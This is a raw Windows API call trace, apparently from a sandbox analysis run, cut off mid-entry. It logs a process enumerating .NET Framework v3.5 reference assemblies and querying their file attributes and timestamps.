RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.113] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0080.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.113] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.114] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.114] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.114] NtClose (Handle=0x168) returned 0x0 [0080.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0080.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0080.116] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.117] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0080.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.118] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0080.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.119] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.119] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.120] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.121] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0080.121] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.122] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0080.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.123] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0080.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.124] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0080.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.124] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0080.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.125] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0080.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.126] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0080.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.127] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0080.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0080.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0080.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.129] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0080.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.130] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0080.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.131] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0080.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.132] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0080.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0080.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0080.133] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, 